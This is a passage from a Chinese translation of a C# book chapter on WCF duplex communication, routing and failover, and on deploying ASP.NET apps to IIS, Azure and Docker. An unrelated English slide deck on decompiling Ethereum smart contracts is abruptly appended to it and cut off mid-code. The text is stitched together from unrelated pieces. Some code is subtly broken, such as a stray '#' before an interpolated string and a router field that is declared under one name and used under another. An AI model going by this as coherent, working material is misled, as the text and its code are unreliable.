下面的示例程序说明了如何在客户端和服务之间直接进行双工通信。客户端会启动到 服务的连接。之后,服务就可以回调客户端了。前面的WebSocket协议也演示了双工通 信。除了使用WebSocket协议(只有Windows 8和Windows Server 2012支持它)之外,双 工通信还可以使用WSHttpBinding和NetTcpBinding来实现。 44.8.1 双工通信的协定 为了进行双工通信,必须指定一个在客户端实现的协定。这里用于客户端的协定由 IMyMessageCallback接口定义。由客户端实现的方法是OnCallback。操作应用了 IsOneWay=true操作协定设置。这样,服务就不必等待方法在客户端上成功调用了。默认 情况下,服务实例只能从一个线程中调用(参见服务行为的ConcurrencyMode属性,其默 认设置为ConcurrencyMode.Single)。 如果服务的实现代码回调客户端并等待获得客户端的结果,则从客户端获得回应的线 程就必须等待,直到锁定服务对象为止。因为服务对象已经被客户端的请求锁定,所以出 现了死锁。WCF检测到这个死锁,抛出一个异常。为了避免这种情况,可以将 ConcurrencyMode属性的值改为Multiple或Reentrant。使用Multiple设置,多个线程可以同 时访问实例。这里必须自己实现锁定。使用Reentrant设置,服务实例将只使用一个线程, 但允许将回调请求的回应重新输入到上下文中。除了改变并发模式之外,还可以用操作协 定指定IsOneWay属性。这样,调用者就不会等待回应了。当然,只有不需要返回值,才 能使用这个设置。 服务协定由IMyMessage接口定义。回调协定用服务协定定义的CallbackContract属性 映射到服务协定上(代码文件DuplexCommunication/MessageService/IMyMessage.cs)。 public interface IMyMessageCallback { [OperationContract(IsOneWay=true)] void OnCallback(string message); } [ServiceContract(CallbackContract=typeof(IMyMessageCallback))] public interface IMyMessage { [OperationContract] void MessageToServer(string message); } 44.8.2 用于双工通信的服务 MessageService类实现了服务协定IMyMessage。服务将来自客户端的消息写入控制 台。要访问回调协定,可以使用OperationContext类。OperationContext.Current返回与客户 端中的当前请求关联的OperationContext。使用OperationContext可以访问会话信息、消息 标题和属性,在双工通信的情况下还可以访问回调信道。泛型方法GetCallbackChannel将 信道返回给客户端实例。接着可以调用由回调接口IMyMessageCallback定义的OnCallback 方法,使用这个信道将消息发送给客户端。为了演示这些操作,还可以从服务中使用独立 于方法的完成的回调信道,创建一个接收回调信道的新线程。这个新线程再次使用回调信 道,将消息发送给客户端(代码文件 DuplexCommunication/MessageService/MessageService.cs)。 public class MessageService: IMyMessage { public void MessageToServer(string message) { WriteLine($"message from the client: {message}"); IMyMessageCallback callback = OperationContext.Current.GetCallbackChannel<IMyMessageCallback>(); callback.OnCallback("message from the server"); Task.Run(() => TaskCallback(callback)); } private async void TaskCallback(object callback) { IMyMessageCallback messageCallback = callback as IMyMessageCallback; for (int i = 0; i < 10; i++) { messageCallback.OnCallback(#$"message {i}"); await Task.Delay(1000); } } } 存放服务的方式与前面的例子相同,这里不再赘述。但是对于双工通信,必须配置一 个支持双工通信的绑定。支持双工信道的其中一个绑定是wsDualHttpBinding,它在应用 程序的配置文件中配置(配置文件DuplexCommunication/DuplexHost/app.config)。 <? xml version="1.0" encoding="utf-8" ? > <configuration> <system.serviceModel> <services> <service name="Wrox.ProCSharp.WCF.MessageService"> <endpoint address="" binding="wsDualHttpBinding" contract="Wrox.ProCSharp.WCF.IMyMessage" /> <host> <baseAddresses> <add baseAddress= "http://localhost:8733/Design_Time_Addresses/MessageService/Service1" /> </baseAddresses> </host> </service> </services> </system.serviceModel> </configuration> 44.8.3 用于双工通信的客户应用程序 在客户应用程序中,必须用ClientCallback类实现回调协定,该类实现了 IMyMessageCallback接口,如下所示(代码文件 DuplexCommunication/MessageClient/Program.cs): class ClientCallback: IMyMessageCallback { public void OnCallback(string message) { WriteLine($"message from the server: {message}"); } } 在双工信道中,不能像前面那样使用ChannelFactory启动与服务的连接。要创建双工 信道,可以使用DuplexChannelFactory类。这个类有一个构造函数,除了绑定和地址配置 之外,它还有一个参数。这个参数指定InstanceContext,它封装ClientCallback类的一个实 例。把这个实例传递给工厂时,服务可以通过信道调用对象。客户端只需要使连接一直处 于打开状态。如果关闭连接,则服务就不能通过它发送消息。 private async static void DuplexSample() { var binding = new WSDualHttpBinding(); var address = new EndpointAddress("http://localhost:8733/Service1"); var clientCallback = new ClientCallback(); var context = new InstanceContext(clientCallback); var factory = new DuplexChannelFactory<IMyMessage>(context, binding, address); IMyMessage messageChannel = factory.CreateChannel(); await Task.Run(() => messageChannel.MessageToServer("From the client")); } 启动服务宿主和客户应用程序,就可以实现双工通信。 44.9 路由 与HTTP GET请求和REST相比,使用SOAP协议有一些优点。SOAP的一个高级功能 是路由。通过路由,客户端不直接寻址服务,而是由客户端和服务器之间的路由器传送请 求。 可以在不同的情形下使用这个功能,一种情形是故障切换(如图44-10所示)。如果 服务无法到达或者返回了一个错误,路由器就调用另一个宿主上的服务。这是从客户端抽 象出来的,客户端只是接收一个结果。 图44-10 路由也可以用于改变通信协议(如图44-11所示)。客户端可以使用HTTP协议调用请 求,把它发送给路由器。路由器用作带net.tcp协议的客户端,调用服务来发送消息。 图44-11 使用路由来实现可伸缩性是另一种情形(如图44-12所示)。根据消息标题的一个字 段或者来自消息内容的信息,路由器可以确定把请求发送给三个服务器中的其中一个服务 器。来自客户的、以A~F字母开头的请求会发送给第一个服务器,以G~N字母开头的请 求会发送给第二个服务器,以Q~Z字母开头的请求会发送给第三个服务器。 图44-12 44.9.1 路由示例应用程序 在路由示例应用程序中,定义一个简单的服务协议,其中调用者可以从IDemoService 接口调用GetData操作(代码文件RoutingSample/DemoService/IDemoService.cs): using System.ServiceModel; namespace Wrox.ProCSharp.WCF { [ServiceContract(Namespace="http://www.cninnovation.com/Services/2016")] public interface IDemoService { [OperationContract] string GetData(string value); } } 服务的实现代码仅用GetData方法返回一条消息,该消息包含接收到的信息和一个在 宿主上初始化的服务器端字符串。这样就可以看到给客户端返回调用的宿主(代码文件 RoutingSample/DemoService/DemoService.cs)。 using System; using static System.Console; namespace Wrox.ProCSharp.WCF { public class DemoService : IDemoService { public static string Server { get; set; } public string GetData(string value) { string message = $"Message from {Server}, You entered: {value}"; WriteLine(message); return message; } } } 两个示例宿主仅创建了一个ServiceHost实例,打开它以启动监听器。每个定义的宿主 都把不同的值赋予DemoService的Server属性。 44.9.2 路由接口 对于路由,WCF定义了接口ISimplexDataGramRouter、ISimplexSessionRouter、 IRequestReplay-Router和IDuplexSessionRouter。根据服务协定,可以使用不同的接口。 ISimplexDataGramRouter可用于OperationContract为IsOneWay的操作。对于 ISimplexDataGramRouter,会话是可选的。ISimplexSessionRouter可用于单向消息,例如 ISimplexDataGramRouter,但这里会话是强制的。IRequestReplayRouter用于最常见的情 形:请求和响应消息。接口IDuplexSessionRouter用于双工通信(例如前面使用的 WSDualHttpBinding)。 根据所使用的消息模式,定制路由器需要实现对应的路由器接口。 44.9.3 WCF路由服务 不创建定制路由器的话,可以使用名称空间System.ServiceModel.Routing中的 RouterService。这个类实现了所有的路由接口,因此可以用于所有的消息模式。它可以像 其他服务那样驻留。在StartService方法中,通过传递RoutingService类型实例化了一个新 的ServiceHost。这类似于前面的其他宿主(代码文件RoutingSample/Router/Program.cs)。 using System; using System.ServiceModel; using System.ServiceModel.Routing; using static System.Console; namespace Router { class Program { internal static ServiceHost s_routerHost = null; static void Main() { StartService(); WriteLine("Router is running. Press return to exit"); ReadLine(); StopService(); } internal static void StartService() { try { _routerHost = new ServiceHost(typeof(RoutingService)); _routerHost.Faulted += myServiceHost_Faulted; _routerHost.Open(); } catch (AddressAccessDeniedException) { WriteLine("either start Visual Studio in elevated admin " + "mode or register the listener port with netsh.exe"); } } static void myServiceHost_Faulted(object sender, EventArgs e) { WriteLine("router faulted"); } internal static void StopService() { if (_routerHost ! = null && _routerHost.State == CommunicationState.Opened) { _routerHost.Close(); } } } } 44.9.4 为故障切换使用路由器 比宿主代码更有趣的是路由器的配置。路由器用作客户应用程序的服务器和服务的客 户端,所以两者都需要配置。如下所示的配置提供了wsHttpBinding作为服务器部件,使 用wsHttpBinding作为客户端来连接服务。服务端点需要指定用于该端点的协定。使用服 务提供的请求-回应操作,协定由IRequestReplyRouter接口定义(配置文件 Router/App.config)。 <system.serviceModel> <services> <service behaviorConfiguration="routingData" name="System.ServiceModel.Routing.RoutingService"> <endpoint address="" binding="wsHttpBinding" name="reqReplyEndpoint" contract="System.ServiceModel.Routing.IRequestReplyRouter" /> <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" /> <host> <baseAddresses> <add baseAddress="http://localhost:8000/RoutingDemo/router" /> </baseAddresses> </host> </service> </services> <! - etc. -> 路由器的客户端部件为服务定义了两个端点。为了测试路由服务,可以使用一个系 统。当然,通常是宿主运行在另一个系统上。协定可以设置为*,以允许所有的协定传送 给这些端点覆盖的服务。 <system.serviceModel> <! - etc. -> <client> <endpoint address="http://localhost:9001/RoutingDemo/HostA" binding="wsHttpBinding" contract="*" name="RoutingDemoService1" /> <endpoint address="http://localhost:9001/RoutingDemo/HostB" binding="wsHttpBinding" contract="*" name="RoutingDemoService2" /> </client> <! - etc. -> 服务的behavior配置对路由很重要。behavior配置routingData通过前面的服务配置来引 用。在路由时,必须用行为设置路由元素,这里使用特性filterTableName来引用路由表。 <system.serviceModel> <! - etc. -> <behaviors> <serviceBehaviors> <behavior name="routingData"> <serviceMetadata httpGetEnabled="True"/> <routing filterTableName="routingTable1" /> <serviceDebug includeExceptionDetailInFaults="true"/> </behavior> </serviceBehaviors> </behaviors> <! - etc. -> 过滤表routingTable1包含一个filterType为MatchAll的过滤器。这个过滤器匹配每个请 求。现在来自客户端的每个请求都路由到端点RoutingDemoService1。如果这个服务失 败,不能访问,则后备列表就很重要。后备列表failOver1定义了第二个端点,在第一个端 点失败时使用它。 <system.serviceModel> <! - etc. -> <routing> <filters> <filter name="MatchAllFilter1" filterType="MatchAll" /> </filters> <filterTables> <filterTable name="routingTable1"> <add filterName="MatchAllFilter1" endpointName="RoutingDemoService1" backupList="failOver1" /> </filterTable> </filterTables> <backupLists> <backupList name="failOver1"> <add endpointName="RoutingDemoService2"/> </backupList> </backupLists> </routing> 有了路由服务器和路由配置,就可以启动客户端,通过路由器调用服务。如果一切顺 利,客户端就会从运行在宿主1上的服务中获得回应。如果停止宿主1,而客户端发出了另 一个请求,宿主2负责返回一个回应。 44.9.5 改变协定的桥梁 如果路由器应改变协议,那么可以配置宿主,使用netTcpBinding替代 wsHttpBinding。对于路由器,客户端配置需要改为引用另一个端点。 <endpoint address="net.tcp://localhost:9010/RoutingDemo/HostA" binding="netTcpBinding" contract="*" name="RoutingDemoService1" /> 这就改变了协定。 44.9.6 过滤器的类型 在示例应用程序中,使用了MatchAll过滤器。WCF提供了更多过滤器类型,如表44-9 所示。 表44-9 过滤器类型 说明 Action Action过滤器根据消息上的动作来启用过滤功能。参见 OperationContract的Action属性 Address Address过滤器对位于SOAP标题的To字段中的地址启用过滤 功能 AddressPrefix AddressPrefix过滤器不匹配完整的地址,而匹配地址的最佳 前缀 MatchAll MatchAll过滤器会匹配每个请求 XPath 使用XPath消息过滤器,可以定义一个XPath表达式来过滤消 息标题。可以使用消息协定给SOAP标题添加信息 Custom 如果需要根据消息的内容进行路由,就需要Custom过滤器 类型。使用这个类型,需要创建一个派生于基类 MessageFilter的类。过滤器的初始化用一个带string参数的构 造函数来完成。string参数可以通过配置初始化传递 如果把多个过滤器应用于一个请求,就可以给过滤器使用优先级。但是,最好避免使 用优先级,因为这会降低性能。 44.10 小结 本章学习了如何使用Windows Communication Foundation在客户端和服务器之间通 信。WCF可以采用独立于平台的方式与其他平台通信,并且它还可以利用特定的Windows 功能。 WCF主要利用服务协定、数据协定和消息协定来简化客户端和服务的独立开发,并 支持独立的平台。可以使用几个特性定义服务的行为和对应操作。 我们探讨了如何通过服务提供的元数据创建客户端,以及如何使用.NET接口协定来 创建客户端。本章介绍了不同绑定选项的功能。WCF不仅提供了独立于平台的绑定,还 提供了在.NET应用程序之间快速通信的绑定。本章还探讨了如何创建自定义宿主和如何 使用WAS宿主。另外介绍了如何定义回调接口、应用服务协定和在客户应用程序中实现 回调协定来进行双工通信。 第45章 部署网站和服务 本章要点 ● 部署准备 ● 部署到Internet Information Server ● 部署到Microsoft Azure ● 使用Docker部署 本章源代码下载地址(wrox.com): 打开网页www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可下载 本章源代码。本章代码分为以下几个主要的示例文件: ● WebDotnetFramework ● WebDotnetCore 45.1 部署Web应用程序 ASP.NET Web应用程序传统上部署在Internet Information Server(IIS)上。另外,服 务器上.NET Framework的版本与开发过程中使用的版本必须相同。在.NET Core上,不再 是这样。.NET Core不仅在Windows上运行,而且在Linux上运行。同时,应用程序需要的 运行库作为应用程序的一部分交付。这些变化提供了运行应用程序的更多部署选项。 本章展示了部署Web应用程序的不同选项。当然,其中一个选项是把应用程序部署在 本地IIS上。也很容易部署到Microsoft Azure上。使用Microsoft Azure,可以轻松地伸缩应 用程序,不需要预先购买可能需要的所有系统。也可以根据需要添加额外的系统,只在需 要时购买这些系统。 本章介绍如何用Visual Studio创建Docker图像。Docker允许为应用程序准备所需的基 础设施。可以直接在目标系统上使用这些Docker图像和所有的基础设施。  注意: 本书并没有涵盖用于IIS、Microsoft Azure和Docker的所有不同配置选 项。更多细节参见其他图书。本章只提供关于这个话题的、开发人员需要知道的最重 要的信息。 45.2 部署前的准备 部署Web应用程序需要什么?静态文件(如HTML、CSS、JavaScript和图像文件)、 从C#源文件中编译的二进制图像和数据库。还需要配置文件。配置文件包含应用程序设 置,包括连接到数据库的连接字符串。最有可能的是,应用程序设置在测试和生产环境中 是不同的。也可能使用分阶段的环境,以便在进入生产环境之前,进行最后的一些测试。 还需要在不同的环境之间改变配置。 为了部署示例应用程序,将创建两个应用程序:一个应用程序使用.NET Framework 4.6,另一个应用程序使用ASP.NET Core 1.0和.NET Core。两个应用程序使用的数据库都 通过Entity Framework Core访问。  注意: Entity Framework Core参见第38章。 45.2.1 创建ASP.NET 4.6 Web应用程序 用Visual Studio项目模板ASP.NET Web Application创建第一个应用程序 WebDotnetFramework。选择ASP.NET 4.6模板MVC,并选择Authentication Individual User Accounts(参见图45-1)。 图45-1 运行这个应用程序时,有几个屏幕可用,可以注册一个新用户(参见图45-2)。这个 注册在随Visual Studio一起安装的SQL LocalDB实例上创建了一个数据库。 图45-2 45.2.2 创建ASP.NET Core 1.0 Web应用程序 再次使用Visual Studio项目模板ASP.NET Web Application创建第二个应用程序 WebDotnetCore,但是现在选择ASP.NET Core 1.0模板Web Application,再次使用 Authentication with Individual User Accounts(参见图45-3)。 图45-3 运行该应用程序,得到的屏幕如图45-4所示。注册一个用户时,也会创建一个 LocalDB数据库。 图45-4 使用这两个要部署的应用程序来演示不同的场景:使用Web应用程序运行.NET 4.6需 要在目标系统上安装.NET Framework,之后才能部署应用程序。需要一个可使用.NET 4.6 的系统;通常使用IIS (也在Microsoft Azure上)进行部署。 在ASP.NET Core 1.0上,可以使用.NET 4.5或更高版本托管应用程序,也可以使 用.NET Core 1.0。使用.NET 5 Core,也可以在非Windows系统上托管应用程序,它不要求 在目标系统上安装.NET运行库,之后才能部署应用程序。.NET运行库可以与应用程序一 起交付。 使用ASP.NET Core 1.0,仍然可以决定通过.NET 4.6托管应用程序,与第一个应用程 序的部署相似。然而,ASP.NET Core 1.0的Web配置文件看起来和ASP.NET 4.6的Web配 置文件大不相同;这就是为什么本章提供ASP.NET 4.6和ASP.NET Core 1.0两个选项的原 因,这样就给出了应用程序的典型部署需求。 首先把Web应用程序部署到本地IIS上。 45.2.3 ASP.NET 4.6的配置文件 Web应用程序的一个重要部分是配置文件。在ASP.NET 4.6中,该配置文件 (Web.config)采用XML格式,包含应用程序设置、数据库连接字符串、ASP.NET配置 (如身份验证和授权)、会话状态等,以及程序集重定向配置。 在部署方面,必须考虑这个文件的不同版本。例如,如果给运行在本地系统上的Web 应用程序使用不同的数据库,则在分阶段的服务器上有一个特殊的测试数据库,当然生产 服务器有一个实时数据库。这些服务器的连接字符串是不同的。此外,调试配置也不同。 如果为这些场景创建单独的Web.config文件,然后给本地Web.config文件添加一个新的配 置值,就很容易忽视其他配置文件的变更。 Visual Studio提供了一个特殊的功能来处理这一问题。可以创建一个配置文件,定义 文件应该如何传输给分阶段服务器和部署服务器。默认情况下,对于ASP.NET Web项 目,在Solution Explorer中有Web.config、Web.Debug.config和Web.Release.config文件。后 面的这两个文件只包含转换。也可以添加其他配置文件,例如用于分阶段的服务器。为 此,可以在Solution Explorer中选择解决方案,打开Configuration Manager,添加一个新的 配置(例如,如图45-5所示的临时配置)。一旦新的配置可用,就可以选择Web.config文 件,从上下文菜单中选择Add Config Transform选项。这会增加一个配置转换文件,它使 用配置的名称,例如Web.Staging.config。 图45-5 转换配置文件的内容只是定义了从原始配置文件的转换。例如,system.web下面的编 译元素改为删除debug特性,如下所示: <system.web> <compilation xdt:Transform=<i>"</i>RemoveAttributes(debug)<i>"</i> /> 45.2.4 ASP.NET Core 1.0的配置文件 ASP.NET Core 1.0的配置文件非常不同于之前的ASP.NET版本。默认情况下,使用 JSON配置文件,但是也可以使用其他文件格式,如XML文件。 project.json是项目的配置文件,其中包含NuGet包的依赖关系、应用程序元数据和支 持的.NET Framework版本。与前面的ASP.NET版本不同,这些信息与应用程序设置和连 接字符串分隔开。 可以在Startup类的构造函数中添加所有不同的应用程序配置文件。生成的默认代码用 扩展方法AddJsonFile添加appsettings.json文件,用扩展方法AddEnvironmentVariables添加 环境变量。ConfigurationBuilder的Build方法创建一个IConfigurationRoot,可以用来访问配 置文件中的设置。在ASP.NET 4.6中,包含为不同环境创建不同配置的转换。在ASP.NET Core 1.0中,处理方式是不同的。这里使用一个JSON文件(其文件名中包含环境名)来定 义不同的设定(代码文件WebCoreFramework/Startup.cs): public Startup(IHostingEnvironment env) { var builder = new ConfigurationBuilder() .AddJsonFile("appsettings.json") .AddJsonFile($"appsettings.{env.EnvironmentName}.json", optional: true); if (env.IsDevelopment()) { builder.AddUserSecrets(); } builder.AddEnvironmentVariables(); Configuration = builder.Build(); } public IConfigurationRoot Configuration { get; set; } 如果喜欢XML配置而不是JSON,那么可以添加NuGet包 Microsoft.Extensions.Configuration. Xml,使用AddXmlFile方法添加一个XML文件。 为了测试Visual Studio中的不同环境配置,可以在Project Properties的Debug设置中改 变环境变量EnvironmentName,如图45-6所示。 图45-6  注意: 在开发环境中,用AddUserSecrets方法添加用户密钥。密钥(如用于 云服务的密钥)最好不要在用源代码存储库检入的源代码中配置。用户密钥把当前用 户的这些信息存储在其他地方。这个功能参见第40章。 45.3 部署到IIS 下面部署到IIS。将Web应用程序部署到IIS之前,需要确保IIS在系统上是可用的。可 以用Windows Features安装IIS(选择Programs and Features,使用Turn Windows Features On or Off链接),如图45-7所示。 图45-7 至少需要这些选项: ● .NET Extensibility 4.6 ● ASP.NET 4.6 ● 默认文档 ● 静态内容 ● IIS Management Console ● IIS Management Scripts and Tools ● IIS Management Service 根据安全性和其他需求,还可能需要其他选项。 45.3.1 使用IIS Manager准备Web应用程序 启动IIS Manager之后,就可以准备服务器、安装Web应用程序了。图45-8显示了 Windows 10系统上启动的IIS Manager。 图45-8 1.创建应用程序池 Web应用程序需要在一个进程中运行。为此,需要配置一个应用程序池。在IIS Manager中,Application Pools节点在左边的树视图中。选择这个节点来配置现有应用程序 池,以及创建新的应用程序池。 图45-9显示创建一个新的应用程序池ProCSharpPool。在Add Application Pool对话框中 可以选择.NET运行库的版本(.NET CLR版本)。对于.NET Framework 4.6和其他4.x版 本,需要选择.NET CLR 4.0运行库。注意,.NET Framework 4.0以后的版本更新了4.0运行 库,所以需要在系统上安装这些更新。在Windows 10和Windows Server 2016中,已经安 装了.NET 4.6。在这个对话框中也可以选择Managed Pipeline Mode。这里只需要知道,使 用Classic管道模式时,本地处理程序和模块在应用程序池内运行,而在Integrated管道模式 中,使用.NET模块和处理程序。所以在较新的应用程序中,通常最好坚持使用Integrated 管道模式。 图45-9 在创建应用程序池后,可以在Advanced Settings中配置更多的选项(参见图45-10)。 这里可以配置要使用的CPU核的数量、进程的用户身份、健康监控、Web Garden(要使 用的多个进程)等。 图45-10 2.创建网站 定义应用程序池之后,就可以创建网站。默认网站监听端口80上系统的所有IP地址。 可以使用这个现有的网站或配置一个新的。图45-11使用ProCSharpPool应用程序池配置一 个新的网站,它在物理路径c:\inetpub\ProCSharpWebRoot内定义,监听端口8080。对于多 个网站,需要使用不同的端口号,在系统上配置多个IP地址,不同的网站可以通过不同的 地址或使用不同的主机名来访问。对于不同的主机名,客户端需要发送在HTTP标题中请 求的主机名。这样,IIS可以决定请求应该转发到哪些网站。 图45-11 之后可以在Site Binding对话框(参见图45-12)中单击Edit按钮,修改对IP地址、端口 号和主机名的绑定。还可以定义net.tcp或net.http等其他协议,用于托管Windows Communication Foundation (WCF)应用程序。为了使用它,需要安装可选的Windows功 能:使用Turn Windows Features On or Off管理工具中的.NET Framework 4.6 Advanced Services,就可以使用WCF服务。 图45-12  注意: WCF参见第44章。 3.创建应用程序 接下来,可以创建一个应用程序。在图45-13中,在网站ProCSharpSite中创建了应用 程序ProCSharpApp,该站点运行在ProCSharpPool应用程序池内。 图45-13 可用于IIS Manager的配置用ASP.NET、IIS和Management分类设置分组(参见图45- 14)。这里可以配置Application Settings、Connection Strings、Session State等。这个配置 给XML配置文件Web.config提供了一个图形用户界面。 图45-14 45.3.2 Web部署到IIS 在IIS Manager中准备应用程序时,可以直接在Visual Studio中把Web应用程序部署到 IIS。在此之前,在服务器(localdb)\MSSQLLocalDB上用IIS创建一个新的空数据库 ProCSharpWebDeploy1。可以从Visual Studio内部的SQL Server Object Explorer中完成这个 操作。选择SQL Server、Databases和Add New Database。 在Web.Staging.config配置文件中,添加对新SQL Server数据库实例的连接字符串,添 加如下所示的转换,更改Web.config定义的连接字符串(代码文件 WebDotnetFramework/Web.Staging.config): <connectionStrings> <add name="DefaultConnection" connectionString="Data Source=(localdb)\MSSQLLocalDB; Initial Catalog=WebDeploy1; Integrated Security=True; Connect Timeout=30; Encrypt=False; TrustServerCertificate=False; ApplicationIntent=ReadWrite; MultiSubnetFailover=False" providerName="System.Data.SqlClient" xdt:Transform="SetAttributes" xdt:Locator="Match(name)" /> </connectionStrings> 直接部署数据库时,可以通过Project Properties配置Package/Publish SQL(参见图45- 15)。在这里可以从Web.config文件中导入连接字符串。还可以添加自定义的SQL脚本, 仅部署数据库模式或者也复制数据。 图45-15 为了直接部署到本地IIS, Visual Studio需要在提升模式(以管理员身份运行)下启 动。 打开前面创建的项目WebDotnetFramework后,在Solution Explorer中选择项目,打开 应用程序上下文菜单Publish。在打开的Publish Web对话框(参见图45-16)中,需要选择 Custom作为发布目标。把概要文件命名为PublishToIIS,因为这是接下来的工作。 图45-16 对于Connection配置,在Publish Method下拉菜单中选择Web Deploy。定义服务器、 网站名称和目标URL,发布到本地IIS(参见图45-17)。 图45-17 在Settings选项卡(参见图45-18)中,配置文件发布选项。这里可以选择配置,以选 择相应的网络配置文件。可以在发布期间预编译源文件。这样就不需要交付C#源文件和 包。同样,可以从App_Data文件夹中去除文件。这个文件夹可以用于文件上传和本地数 据库。如果在这个文件夹中只有测试数据,那么可以安全地从包中排除这个文件夹。另 外,可以用Package/Publish SQL配置选择数据库连接字符串。 图45-18 发布成功时,在IIS中会发现复制到之前配置的应用程序中的文件,而浏览器显示主 页。 45.4 部署到Microsoft Azure 部署到Microsoft Azure时,需要考虑部署数据存储。在Microsoft Azure中,SQL Database是部署关系数据的一个很好的选项。使用SQL Database,会有基于Database Transaction Unit(DTU)和数据库大小(从5 DTU和2GB的数据到至多1750 DTU和1 TB的 数据)的不同选项。DTU是一个基于数据库事务的计量单位。Microsoft测量在全负荷下每 秒可以完成多少事务,因此5 DTU表示每秒完成5个事务。 创建数据库后,就按照WebCoreFramework示例应用程序的定义创建表。然后,用 Microsoft Azure创建一个Web应用程序来托管示例应用程序。 45.4.1 创建SQL数据库 在SQL Database部分登录http://portal.azure.com,可以创建一个新的SQL数据库。创建 数据库时,可以选择定价层。第一个测试使用SQL数据库,选择最便宜的版本Basic。为 了运行Web应用程序,不需要任何额外的功能。之后可以根据需要改变它。本书的数据库 名为ProfessionalCSharpDB。读者需要使用另一个名称,因为这个名称是独一无二的。 为了在Visual Studio中直接访问数据库,需要更改SQL服务器的防火墙设置,并允许 本地IP地址访问服务器。本地IP地址在防火墙设置中显示。 45.4.2 用SQL Azure测试本地网站 把网站部署到Microsoft Azure之前,可以尝试改变数据库连接字符串以在Microsoft Azure上使用SQL数据库并在本地测试网站。 首先,需要得到Azure Database的连接字符串。选择SQL Database,在Azure Portal中 找到连接字符串。连接字符串可以在Essentials配置中访问。 在Visual Studio中,打开WebCoreFramework项目,添加一个新的JSON文件 appsettings. staging.json。将连接字符串添加给运行在Microsoft Azure上的SQL数据库。注 意从门户复制连接字符串,添加只有一个占位符的密码(代码文件 WebDotnetCore/appsettings.json.config): { "Data": { "DefaultConnection": { "ConnectionString": "add your database connection string" } } } Host:Environment环境变量设置为Staging时,加载这个文件(代码文件 WebDotnetCore/Startup.cs): var builder = new ConfigurationBuilder() .AddJsonFile("appsettings.json") .AddJsonFile($"appsettings.{env.EnvironmentName}.json", optional: true); 记住,在Project | Debug属性中,可以将这一设置配置为当在Visual Studio中运行应用 程序时使用(参见图45-6)。 要将表添加到SQL数据库中,可以使用Entity Framework迁移。使用 ApplicationDbContext给Entity Framework模型配置迁移。 在本地运行应用程序时,创建数据库表,因为Migrations文件夹包含所需表和模式的 信息,以及Startup代码中Database.Migrate的调用(代码文件 WebCoreFramework/Startup.cs): try { using (var serviceScope = app.ApplicationServices .GetRequiredService<IServiceScopeFactory>().CreateScope()) { serviceScope.ServiceProvider .GetService<ApplicationDbContext>() .Database.Migrate(); } } catch { } 为了手动处理迁移和创建最初的表,可以启动开发人员命令提示符,将当前目录改为 存储项目的project.json文件的目录,并设置环境变量,为连接字符串使用正确的配置文 件: >set Hosting:Environment-staging 也可以使用如下命令启动Web服务器: >dotnet run 用database命令启动迁移: >dotnet ef database update 现在,网站在本地通过SQL数据库运行在云中。该把网站移到Microsoft Azure上了。 45.4.3 部署到Microsoft Azure Web应用 使用Azure Portal,可以创建一个能托管网站的Azure Web应用。在Visual Studio的 Solution Explorer中,可以选择Publish Web上下文菜单。Microsoft Azure App Service是一 个可用的选项。使用这个选项,可以将网站部署到Microsoft Azure。 选择Microsoft Azure App Service后,可以登录到Microsoft Azure,选择一个Web应 用。还可以直接从这个对话框中创建新的Web应用。 部署完成后,就可以在云中使用该网站。 45.5 部署到Docker 另一个发布选项是Docker。Docker为部署提供了一个新概念。在安装Web应用程序之 前,不是安装所有的需求和在目标系统上准备正确的配置,而是可以提供一个完整的 Docker映像,其中包含所需的所有内容。 使用虚拟机映像并在Hyper-V服务器上加载它不能完成同样的操作吗?虚拟机映像的 问题是它们太大,包含了完整的操作系统和所有需要的工具。当然,可以使用虚拟机映像 与Microsoft Azure。准备一个映像,在安装Web服务器基础设施后安装Web应用程序。 这非常不同于Docker。Docker使用洋葱式的系统建立。一层建立在另一层的上面。每 一层只包含不同于其他层的内容。可以使用一个已经准备好的系统,其中包括操作系统的 需求,再给Web服务器添加另一层,然后为要部署的网站添加一个或多个层。这些映像很 小,因为只记录了更改。 如果添加了Visual Studio Extension Tools for Docker,就可以看到Publish菜单的另一个 选项:部署Docker映像。此部署可用于Windows Server 2016以及不同的Linux变体。只需 要选择喜欢的映像,部署网站。当然,在Linux上运行时,只有.NET Core是可用的。 45.6 小结 Web应用程序的部署在过去几年发生了巨大的变化。创建安装程序包现在很少使用。 相反,可以在Visual Studio中直接发布。 本章学习了如何发布到可以本地托管的IIS(一个自定义托管的IIS)上,以及如何发 布到Microsoft Azure的服务器上。使用Microsoft Azure,可以避免很多管理基础设施的工 作。 本章还介绍了Docker,这个部署选项允许创建准备好的小映像,其中包括运行准备好 的应用程序所需的一切内容。
pdf
Porosity Decompiling Ethereum Smart-Contracts Matt Suiche (@msuiche) Founder, Comae Technologies m@comae.io Whoami @msuiche Comae Technologies OPCDE - www.opcde.com First time in Vegas since BlackHat 2011 Mainly Windows-related stuff CloudVolumes (VMware App Volumes) Memory Forensics for DFIR (Hibr2Bin, DumpIt etc.) “looks like such fun guy” – TheShadowBrokers Didn’t know much about blockchain before this project Just so you know… We won’t talk about POW/POS stuff We won’t talk about Merkle Trees We won’t talk about how to becoming a crypto-currency millionaire We will talk about the Ethereum EVM We will talk about Solidity We will talk about smart-contract bytecodes And yes, the tool isn’t perfect ☺ Agenda Ethereum Virtual Machine (EVM) Memory Management Addresses Call Types Type Discovery Smart-Contract Code Analysis Known Bugs Future Solidity Solidity the quality or state of being firm or strong in structure. But also the name of Ethereum’s smart-contracts compiler Porosity is the quality of being porous, or full of tiny holes. Liquids go right through things that have porosity. But also the name of Comae’s smart-contract decompiler. Accounts Normal Accounts: 3,488,419 (July 15) Contract Accounts: 930,889 (July 15) Verified Contract Accounts: 2285 (July 15) Source code is provided. 40M$ lost in July 10M$ in CoinDash’s ICO http://www.coindesk.com/coindash-ico-hacker-nets-additional- ether-theft-tops-10-million/ 30M$ due to Parity’s wallet.sol vulnerability https://blog.parity.io/security-alert-high-2/ https://github.com/paritytech/parity/pull/6103 Ethereum Virtual Machine (EVM) Account/Contract/Blockchain A Smart-Contract is made of bytecode stored in the blockchain. An address is a 160-bits value & corresponds to an “account” Operates 256-bits pseudo-registers EVM does not really have registers, but uses a virtual stack to replace them. Solidity & “Smart Contracts” Solidity compiles JavaScript-like code into Ethereum bytecode. contract Coin { // The keyword "public" makes those variables // readable from outside. address public minter; mapping (address => uint) public balances; // Events allow light clients to react on // changes efficiently. event Sent(address from, address to, uint amount); // This is the constructor whose code is // run only when the contract is created. function Coin() { minter = msg.sender; } function mint(address receiver, uint amount) { if (msg.sender != minter) return; balances[receiver] += amount; } function send(address 